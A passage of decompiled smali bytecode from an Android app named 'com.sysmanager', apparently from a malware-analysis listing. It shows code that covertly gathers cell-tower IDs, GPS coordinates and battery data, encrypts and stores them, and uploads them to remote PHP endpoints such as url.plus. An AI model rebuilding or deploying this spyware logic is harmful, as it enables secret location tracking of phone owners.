104invoke-virtual {v6}, Ljava/lang/String;->getBytes()[B
105move-result-object v9
106const/4 v10, 0x0
108invoke-static {v9, v10}, Landroid/util/Base64;->decode([BI)[B
109move-result-object v7
111const-string v9, ""
112sput-object v9, Lcom/sysmanager/network/HTTPUtility;->decryptedData:Ljava/lang/String;
113const/4 v9, 0x0
115invoke-static {v7, v9}, Lcom/sysmanager/network/HTTPUtility;->splitBytes([BI)V
117sget-object v9, Lcom/sysmanager/network/HTTPUtility;->decryptedData:Ljava/lang/String;
118try_end_99: return-object v9
119catch_9a: move-exception v2
121invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
122move-result-object v9
124invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
125move-result-object v10
127invoke-static {v9, v10}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
129const-string v9, "KO"
130goto/16 :goto_99
Cross References
APIs
  • com.sysmanager.storage.FileSend.getWritableDatabase
  • android.content.ContentValues.<init>
  • android.content.ContentValues.put
  • android.database.sqlite.SQLiteDatabase.insert
  • com.sysmanager.Scontext.getContext
Strings
  • col15
  • col16
  • col17
  • col08
  • col18
  • col02
  • col03
  • tab3
Position Instruction Meta Information
0.param p1, "cellPos" # Lcom/sysmanager/storage/Cell;
1.prologue
2monitor-enter p0
3const-wide/16 v2, -0x1
4try_start_3:
5invoke-virtual {p0}, Lcom/sysmanager/storage/FileSend;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
6try_end_6: move-result-object v0
7if-eqz p1, :cond_8c
8try_start_9: new-instance v4, Landroid/content/ContentValues;
10invoke-direct {v4}, Landroid/content/ContentValues;-><init>()V
12const-string v5, "col15"
14invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
15move-result-object v6
17invoke-virtual {p1}, Lcom/sysmanager/storage/Cell;->getCellid()Ljava/lang/String;
18move-result-object v7
20invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
21move-result-object v6
23invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
25const-string v5, "col16"
27invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
28move-result-object v6
30invoke-virtual {p1}, Lcom/sysmanager/storage/Cell;->getLac()Ljava/lang/String;
31move-result-object v7
33invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
34move-result-object v6
36invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
38const-string v5, "col17"
40invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
41move-result-object v6
43invoke-virtual {p1}, Lcom/sysmanager/storage/Cell;->getPsc()Ljava/lang/String;
44move-result-object v7
46invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
47move-result-object v6
49invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
51const-string v5, "col08"
53invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
54move-result-object v6
56invoke-virtual {p1}, Lcom/sysmanager/storage/Cell;->getTimestamp()Ljava/lang/String;
57move-result-object v7
59invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
60move-result-object v6
62invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
64const-string v5, "col18"
66invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
67move-result-object v6
69invoke-virtual {p1}, Lcom/sysmanager/storage/Cell;->getType()Ljava/lang/String;
70move-result-object v7
72invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
73move-result-object v6
75invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
77const-string v5, "col02"
79invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
80move-result-object v6
82invoke-virtual {p1}, Lcom/sysmanager/storage/Cell;->getLatitude()Ljava/lang/String;
83move-result-object v7
85invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
86move-result-object v6
88invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
90const-string v5, "col03"
92invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
93move-result-object v6
95invoke-virtual {p1}, Lcom/sysmanager/storage/Cell;->getLongitude()Ljava/lang/String;
96move-result-object v7
98invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
99move-result-object v6
101invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
103const-string v5, "tab3"
104const/4 v6, 0x0
106invoke-virtual {v0, v5, v6, v4}, Landroid/database/sqlite/SQLiteDatabase;->insert(Ljava/lang/String;Ljava/lang/String;Landroid/content/ContentValues;)J
107try_end_8b: move-result-wide v2
108cond_8c: monitor-exit p0
109return-wide v2
110catch_8e: move-exception v1
111try_start_8f:
112invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
113move-result-object v5
115invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
116move-result-object v6
118invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
119try_end_9a: goto/16 :goto_8c
120catchall_9b: move-exception v5
121monitor-exit p0
122throw v5
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValueString
  • java.lang.String.isEmpty
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValueString
  • java.lang.String.isEmpty
  • java.lang.System.setProperty
  • org.json.JSONObject.<init>
  • org.json.JSONObject.put
  • java.lang.String.isEmpty
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.Scontext.getContext
Strings
  • col03
  • http://url.plus/app/pro/ser.php
  • http.keepAlive
  • false
  • serialnumber
  • A70
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "force" # Z
2.prologue
4const-string v1, ""
5try_start_2:
6invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
7move-result-object v6
9const-string v7, "col03"
11invoke-virtual {v6, v7}, Lcom/sysmanager/storage/Settings;->getValueString(Ljava/lang/String;)Ljava/lang/String;
12move-result-object v3
13if-eqz v3, :cond_26
15invoke-virtual {v3}, Ljava/lang/String;->isEmpty()Z
16move-result v6
17if-nez v6, :cond_26
19invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
20move-result-object v6
22invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
23move-result-object v7
25const-string v8, "col03"
27invoke-virtual {v7, v8}, Lcom/sysmanager/storage/Settings;->getValueString(Ljava/lang/String;)Ljava/lang/String;
28move-result-object v7
30invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
31move-result-object v1
32cond_26:
33invoke-virtual {v1}, Ljava/lang/String;->isEmpty()Z
34move-result v6
35if-nez v6, :cond_30
36if-nez p1, :cond_30
37move-object v2, v1
38goto_2f: return-object v2
39cond_30:
40const-string v5, "http://url.plus/app/pro/ser.php"
42const-string v6, "http.keepAlive"
44const-string v7, "false"
46invoke-static {v6, v7}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
47new-instance v4, Lorg/json/JSONObject;
49invoke-direct {v4}, Lorg/json/JSONObject;-><init>()V
51const-string v6, "serialnumber"
53const-string v7, "A70"
55invoke-virtual {v4, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
57invoke-static {v5, v4, p0}, Lcom/sysmanager/network/HTTPUtility;->excuteHttpPostServer(Ljava/lang/String;Lorg/json/JSONObject;Landroid/content/Context;)Ljava/lang/String;
58move-result-object v1
60invoke-virtual {v1}, Ljava/lang/String;->isEmpty()Z
61move-result v6
62if-nez v6, :cond_60
64invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
65move-result-object v6
67const-string v7, "col03"
69invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
70move-result-object v8
72invoke-static {v8, v1}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
73move-result-object v8
75invoke-virtual {v6, v7, v8}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;Ljava/lang/String;)V
76cond_60: move-object v2, v1
77goto/16 :goto_2f
78catch_62: move-exception v0
80invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
81move-result-object v6
83invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
84move-result-object v7
86invoke-static {v6, v7}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
87goto/16 :goto_60
Cross References
APIs
  • android.content.IntentFilter.<init>
  • com.sysmanager.system.AndroidSystemCall.registerReceiver
  • android.content.Intent.getIntExtra
  • java.lang.String.valueOf
  • org.json.JSONObject.put
  • java.lang.String.valueOf
  • org.json.JSONObject.put
  • java.lang.String.valueOf
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.getApplicationContext
Strings
  • android.intent.action.BATTERY_CHANGED
  • level
  • scale
  • plugged
  • Battery
  • isCharging
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
6const/4 v8, -0x1
7const/4 v5, 0x0
8try_start_2: new-instance v6, Landroid/content/IntentFilter;
10const-string v7, "android.intent.action.BATTERY_CHANGED"
12invoke-direct {v6, v7}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
14invoke-virtual {p0, v5, v6}, Lcom/sysmanager/system/AndroidSystemCall;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
15move-result-object v0
17const-string v5, "level"
18const/4 v6, -0x1
20invoke-virtual {v0, v5, v6}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
21move-result v2
23const-string v5, "scale"
24const/4 v6, -0x1
26invoke-virtual {v0, v5, v6}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
27move-result v4
29const-string v5, "plugged"
30const/4 v6, -0x1
32invoke-virtual {v0, v5, v6}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
33move-result v5
34if-lez v5, :cond_53
35const/4 v3, 0x1
36goto_25: if-eq v2, v8, :cond_29
37if-ne v4, v8, :cond_36
38cond_29:
39iget-object v5, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
41const-string v6, "Battery"
42const/high16 v7, 0x42480000 # 50.0f
44invoke-static {v7}, Ljava/lang/String;->valueOf(F)Ljava/lang/String;
45move-result-object v7
47invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
48cond_36:
49iget-object v5, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
51const-string v6, "Battery"
52int-to-float v7, v2
53int-to-float v8, v4
54div-float/2addr v7, v8
55const/high16 v8, 0x42c80000 # 100.0f
56mul-float/2addr v7, v8
58invoke-static {v7}, Ljava/lang/String;->valueOf(F)Ljava/lang/String;
59move-result-object v7
61invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
63iget-object v5, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
65const-string v6, "isCharging"
67invoke-static {v3}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String;
68move-result-object v7
70invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
71try_end_52: return-void
72cond_53: const/4 v3, 0x0
73goto/16 :goto_25
74catch_55: move-exception v1
76invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemCall;->getApplicationContext()Landroid/content/Context;
77move-result-object v5
79invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
80move-result-object v6
82invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
83goto/16 :goto_52
Cross References
APIs
  • org.json.JSONObject.<init>
  • org.json.JSONObject.put
Strings
  • serialnumber
  • A70
  • cellid
  • lac
  • psc
  • timestamp
  • type
  • latitude
  • longitude
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
6new-instance v0, Lorg/json/JSONObject;
8invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
10const-string v1, "serialnumber"
12const-string v2, "A70"
14invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
16const-string v1, "cellid"
18invoke-virtual {p0}, Lcom/sysmanager/storage/Cell;->getCellid()Ljava/lang/String;
19move-result-object v2
21invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
23const-string v1, "lac"
25invoke-virtual {p0}, Lcom/sysmanager/storage/Cell;->getLac()Ljava/lang/String;
26move-result-object v2
28invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
30const-string v1, "psc"
32invoke-virtual {p0}, Lcom/sysmanager/storage/Cell;->getPsc()Ljava/lang/String;
33move-result-object v2
35invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
37const-string v1, "timestamp"
39invoke-virtual {p0}, Lcom/sysmanager/storage/Cell;->getTimestamp()Ljava/lang/String;
40move-result-object v2
42invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
44const-string v1, "type"
46invoke-virtual {p0}, Lcom/sysmanager/storage/Cell;->getType()Ljava/lang/String;
47move-result-object v2
49invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
51const-string v1, "latitude"
53invoke-virtual {p0}, Lcom/sysmanager/storage/Cell;->getLatitude()Ljava/lang/String;
54move-result-object v2
56invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
58const-string v1, "longitude"
60invoke-virtual {p0}, Lcom/sysmanager/storage/Cell;->getLongitude()Ljava/lang/String;
61move-result-object v2
63invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
64return-object v0
Cross References
APIs
  • java.io.FileOutputStream.<init>
  • java.io.BufferedOutputStream.<init>
  • java.util.zip.ZipOutputStream.<init>
  • java.io.FileInputStream.<init>
  • java.io.BufferedInputStream.<init>
  • java.io.File.getAbsolutePath
  • java.lang.String.lastIndexOf
  • java.lang.String.substring
  • java.util.zip.ZipEntry.<init>
  • java.util.zip.ZipOutputStream.putNextEntry
  • java.io.BufferedInputStream.read
  • java.util.zip.ZipOutputStream.write
  • com.sysmanager.Scontext.getContext
  • java.io.BufferedInputStream.close
  • java.util.zip.ZipOutputStream.close
Strings
  • /
Position Instruction Meta Information
0.prologue
1const/4 v9, 0x0
2try_start_1: new-instance v2, Ljava/io/FileOutputStream;
4iget-object v10, p0, Lcom/sysmanager/storage/Compress;->_zipFile:Ljava/lang/String;
6invoke-direct {v2, v10}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;)V
7new-instance v8, Ljava/util/zip/ZipOutputStream;
8new-instance v10, Ljava/io/BufferedOutputStream;
10invoke-direct {v10, v2}, Ljava/io/BufferedOutputStream;-><init>(Ljava/io/OutputStream;)V
12invoke-direct {v8, v10}, Ljava/util/zip/ZipOutputStream;-><init>(Ljava/io/OutputStream;)V
13const/16 v10, 0x800
14new-array v1, v10, [B
16iget-object v10, p0, Lcom/sysmanager/storage/Compress;->_files:[Ljava/io/File;
17array-length v11, v10
18goto_19: if-ge v9, v11, :cond_67
19aget-object v6, v10, v9
20new-instance v5, Ljava/io/FileInputStream;
22invoke-direct {v5, v6}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
23new-instance v7, Ljava/io/BufferedInputStream;
24const/16 v12, 0x800
26invoke-direct {v7, v5, v12}, Ljava/io/BufferedInputStream;-><init>(Ljava/io/InputStream;I)V
27new-instance v4, Ljava/util/zip/ZipEntry;
29invoke-virtual {v6}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
30move-result-object v12
32invoke-virtual {v6}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
33move-result-object v13
35const-string v14, "/"
37invoke-virtual {v13, v14}, Ljava/lang/String;->lastIndexOf(Ljava/lang/String;)I
38move-result v13
39add-int/lit8 v13, v13, 0x1
41invoke-virtual {v12, v13}, Ljava/lang/String;->substring(I)Ljava/lang/String;
42move-result-object v12
44invoke-direct {v4, v12}, Ljava/util/zip/ZipEntry;-><init>(Ljava/lang/String;)V
46invoke-virtual {v8, v4}, Ljava/util/zip/ZipOutputStream;->putNextEntry(Ljava/util/zip/ZipEntry;)V
47goto_45: const/4 v12, 0x0
48const/16 v13, 0x800
50invoke-virtual {v7, v1, v12, v13}, Ljava/io/BufferedInputStream;->read([BII)I
51move-result v0
52const/4 v12, -0x1
53if-eq v0, v12, :cond_61
54const/4 v12, 0x0
56invoke-virtual {v8, v1, v12, v0}, Ljava/util/zip/ZipOutputStream;->write([BII)V
57try_end_53: goto/16 :goto_45
58catch_54: move-exception v3
60invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
61move-result-object v9
63invoke-static {v3}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
64move-result-object v10
66invoke-static {v9, v10}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
67goto_60: return-void
68try_start_61:
69invoke-virtual {v7}, Ljava/io/BufferedInputStream;->close()V
70add-int/lit8 v9, v9, 0x1
71goto/16 :goto_19
72cond_67:
73invoke-virtual {v8}, Ljava/util/zip/ZipOutputStream;->close()V
74try_end_6a: goto/16 :goto_60
Cross References
APIs
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.setValue
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • android.content.Context.startService
Strings
  • col06
  • col07
  • col25
  • extra_accuracy
  • extra_move
  • gpsYES
  • A70
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "moveDetection" # Z
2.param p2, "sendFeedback" # Z
3.prologue
4const/4 v1, 0x0
5const/4 v2, 0x1
7invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
8move-result-object v3
10const-string v4, "col06"
12invoke-virtual {v3, v4, v1}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
14invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
15move-result-object v3
17const-string v4, "col07"
19invoke-virtual {v3, v4, v2}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
21invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
22move-result-object v3
24const-string v4, "col25"
25if-eqz p1, :cond_1d
26move v1, v2
27cond_1d:
28invoke-virtual {v3, v4, v1}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
29new-instance v0, Landroid/content/Intent;
30const-class v1, Lcom/sysmanager/system/AndroidSystemQueues;
32invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
34const-string v1, "extra_accuracy"
35const/16 v3, 0x64
37invoke-virtual {v0, v1, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
38if-eqz p1, :cond_35
40const-string v1, "extra_move"
42invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
43cond_35:
44invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
45if-eqz p2, :cond_41
47const-string v1, "gpsYES"
49const-string v2, "A70"
51invoke-static {v1, p0, v2}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
52cond_41: return-void
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.isEmpty
  • java.util.ArrayList.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.System.setProperty
  • java.lang.String.equals
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.deletePosition
Strings
  • register_gps.php
  • http.keepAlive
  • false
  • OK
Position Instruction Meta Information
0.prologue
1try_start_0:
2iget-object v5, p0, Lcom/sysmanager/network/NetworkServices$2;->val$context:Landroid/content/Context;
4invoke-static {v5}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
5move-result-object v3
6new-instance v5, Ljava/lang/StringBuilder;
8invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
10invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
11move-result-object v5
13const-string v6, "register_gps.php"
15invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
16move-result-object v5
18invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
19move-result-object v4
21invoke-virtual {v3}, Ljava/lang/String;->isEmpty()Z
22move-result v5
23if-nez v5, :cond_62
25iget-object v5, p0, Lcom/sysmanager/network/NetworkServices$2;->val$listPositions:Ljava/util/ArrayList;
27invoke-virtual {v5}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
28move-result-object v5
29goto_25:
30invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
31move-result v6
32if-eqz v6, :cond_62
34invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
35move-result-object v2
36check-cast v2, Lcom/sysmanager/storage/PositionVar;
38const-string v6, "http.keepAlive"
40const-string v7, "false"
42invoke-static {v6, v7}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
44invoke-virtual {v2}, Lcom/sysmanager/storage/PositionVar;->toJSON()Lorg/json/JSONObject;
45move-result-object v6
47iget-object v7, p0, Lcom/sysmanager/network/NetworkServices$2;->val$context:Landroid/content/Context;
49invoke-static {v4, v6, v7}, Lcom/sysmanager/network/HTTPUtility;->excuteHttpPost(Ljava/lang/String;Lorg/json/JSONObject;Landroid/content/Context;)Ljava/lang/String;
50move-result-object v6
52const-string v7, "OK"
54invoke-virtual {v6, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
55move-result v0
56if-eqz v0, :cond_25
58iget-object v6, p0, Lcom/sysmanager/network/NetworkServices$2;->val$context:Landroid/content/Context;
60invoke-static {v6}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
61move-result-object v6
63invoke-virtual {v2}, Lcom/sysmanager/storage/PositionVar;->getId()I
64move-result v7
66invoke-virtual {v6, v7}, Lcom/sysmanager/storage/FileSend;->deletePosition(I)Z
67try_end_57: goto/16 :goto_25
68catch_58: move-exception v1
70iget-object v5, p0, Lcom/sysmanager/network/NetworkServices$2;->val$context:Landroid/content/Context;
72invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
73move-result-object v6
75invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
76cond_62: return-void
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.isEmpty
  • java.util.ArrayList.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.System.setProperty
  • java.lang.String.equals
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.deleteCell
Strings
  • upload_cella.php
  • http.keepAlive
  • false
  • OK
Position Instruction Meta Information
0.prologue
2iget-object v5, p0, Lcom/sysmanager/network/NetworkServices$3;->val$context:Landroid/content/Context;
4invoke-static {v5}, Lcom/sysmanager/network/HTTPUtility;->obtainHostName(Landroid/content/Context;)Ljava/lang/String;
5move-result-object v3
6new-instance v5, Ljava/lang/StringBuilder;
8invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
10invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
11move-result-object v5
13const-string v6, "upload_cella.php"
15invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
16move-result-object v5
18invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
19move-result-object v4
21invoke-virtual {v3}, Ljava/lang/String;->isEmpty()Z
22move-result v5
23if-nez v5, :cond_62
24try_start_1f:
25iget-object v5, p0, Lcom/sysmanager/network/NetworkServices$3;->val$listCells:Ljava/util/ArrayList;
27invoke-virtual {v5}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
28move-result-object v5
29goto_25:
30invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
31move-result v6
32if-eqz v6, :cond_62
34invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
35move-result-object v0
36check-cast v0, Lcom/sysmanager/storage/Cell;
38const-string v6, "http.keepAlive"
40const-string v7, "false"
42invoke-static {v6, v7}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
44invoke-virtual {v0}, Lcom/sysmanager/storage/Cell;->toJSON()Lorg/json/JSONObject;
45move-result-object v6
47iget-object v7, p0, Lcom/sysmanager/network/NetworkServices$3;->val$context:Landroid/content/Context;
49invoke-static {v4, v6, v7}, Lcom/sysmanager/network/HTTPUtility;->excuteHttpPost(Ljava/lang/String;Lorg/json/JSONObject;Landroid/content/Context;)Ljava/lang/String;
50move-result-object v6
52const-string v7, "OK"
54invoke-virtual {v6, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
55move-result v1
56if-eqz v1, :cond_25
58iget-object v6, p0, Lcom/sysmanager/network/NetworkServices$3;->val$context:Landroid/content/Context;
60invoke-static {v6}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
61move-result-object v6
63invoke-virtual {v0}, Lcom/sysmanager/storage/Cell;->getId()I
64move-result v7
66invoke-virtual {v6, v7}, Lcom/sysmanager/storage/FileSend;->deleteCell(I)Z
67try_end_57: goto/16 :goto_25
68catch_58: move-exception v2
70iget-object v5, p0, Lcom/sysmanager/network/NetworkServices$3;->val$context:Landroid/content/Context;
72invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
73move-result-object v6
75invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
76cond_62: return-void
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
Strings
  • /sbin/
